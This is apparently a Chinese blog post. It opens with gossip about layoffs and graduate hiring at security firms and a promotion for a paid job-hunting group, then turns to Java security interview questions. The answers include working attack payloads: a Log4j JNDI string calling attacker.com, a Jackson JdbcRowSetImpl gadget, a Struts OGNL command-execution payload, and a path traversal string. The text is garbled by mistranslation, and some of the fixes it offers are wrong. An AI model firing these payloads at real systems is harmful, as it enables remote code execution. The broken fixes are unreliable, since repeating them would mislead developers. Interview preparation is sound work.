目录

今年春招边裁边招啊

今年春招边裁边招啊

[《网安面试指南》

https://csdnimg.cn/release/blog_editor_html/release2.3.8/ckeditor/plugins/CsdnLink/icons/icon-default.png?t=P1C7 “《网安面试指南》”)

[5000篇网安资料库

https://csdnimg.cn/release/blog_editor_html/release2.3.8/ckeditor/plugins/CsdnLink/icons/icon-default.png?t=P1C7 “5000篇网安资料库”)

中午摸鱼刷群聊,看到圈里都在传网安公司现在玩「边裁边招」的套路——老员工咔咔砍,应届生呼呼招。这咱也不知道真假,赶紧翻出脉脉看看。

还确实,似乎特别是今年互联网甲方大规模招收新人,似乎让互联人普遍被称为30+的危机,似乎也给了刚毕业的年轻人新的机会,同时公司还能降低了。

传统网安厂商也不例外,据说最近网安公司产品线受到大模型的冲击,大量的评判,同时又在高新挖掘算法、大模型阵地,看看脉脉里是这样的,不知道你呆的公司现在是什么情况,来吧评论区聊聊。

https://i-blog.csdnimg.cn/img_convert/defbceefbfb61ff0fc24aa3834b75a9f.png

不管怎么样,今年的届生来说,应该是比较难的。

也正如我前几天发的

对于应届生来说也很不错的机会,特别是哪些学年还不错的小伙伴。珍惜大厂降本增效的机会,紧抓刷面试题抓,紧找个机会进大厂一波。

为了方便大家沟通交流25年校招的信息、面试经验,我专门在星球中拉了个校招群,进星球后扫描进就可以了(会不定期发放内推码)—去后方领劵再进哈。


1. Spring Cloud Config路径遍历

配置项

spring:
  cloud:
    config:
      server:
        git:
          uri: https://github.com/config-repo

问题 :如何通过恶意应用名构造路径寻找敏感文件?

答案

  • 攻击方式:请求 http://config-server/{application}/{profile} ,设置 application=..%252F..%252Fetc (双重URL编码)
  • 修复方案:配置 spring.cloud.config.server.git.force-pull=true 并限制仓库路径

2. Jackson多态类型处理

代码片段

@JsonTypeInfo(use = Id.NAME, include = As.PROPERTY, property = "type")
public abstract class Payload {}

问题 :如何利用该注解实现反序列化?攻击给出修复方案

答案

  • 攻击方式:构建包含 "type":"com.sun.rowset.JdbcRowSetImpl" 的JSON数据触发JNDI注入
  • 修复方案:
    1. 藝術 @JsonTypeInfo(visible = false)
    2. 配置 mapper.activateDefaultTyping() 时使用 LaissezFaireSubTypeValidator

3. Log4j2 JNDI 注入

日志代码

logger.error("Error processing request: {}", userInput);

问题 :在Log4j 2.14.1环境下如何构造RCE?给出修复方案

答案

  • 攻击Payload:输入 ${jndi:ldap://attacker.com/Exploit}
  • 修复方案:
    1. 升级到2.17.0+并设置 log4j2.formatMsgNoLookups=true
    2. 禁用JNDI功能: -Dlog4j2.enableJndi=false

4. Struts2 OGNL注入

代码片段

<result type="freemarker">
    <param name="location">/templates/${templateName}.ftl</param>
</result>

问题 :如何通过templateName参数执行系统命令?

答案

  • 攻击Payload: ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc'))}
  • 修复方案:将Struts升级到最新版本并取消动态方法调用

5. JVM字节码控制漏洞

代码片段

public class UnsafeClassLoader extends ClassLoader {
    public Class defineClass(byte[] code) {
        return super.defineClass(code, 0, code.length);
    }
}

问题 :分析该代码的安全风险及防御方法

答案

  • 风险点:允许动态加载未验证的字节码,可能导致代码执行
  • 策略:
    1. 对货运类别进行包名白名单审核
    2. 启用S​​​​ecurityManager并配置 RuntimePermission("defineClass")

6.并发比赛条件

代码片段

public void transfer(Account from, Account to, BigDecimal amount) {
    if (from.getBalance().compareTo(amount) >= 0) {
        from.debit(amount);  //步骤1
        to.credit(amount);    //步骤2
    }
}

问题 :如何利用竞争条件实现税收税收?给出修复方案

答案

  • 攻击方式:在步骤1和步骤2之间发起发起请求透支余额
  • 修复方案:
    1. 使用数据库旅游锁 SELECT FOR UPDATE
    2. 增值 @Transactional 服务保证
    3. 在应用层使用可重入锁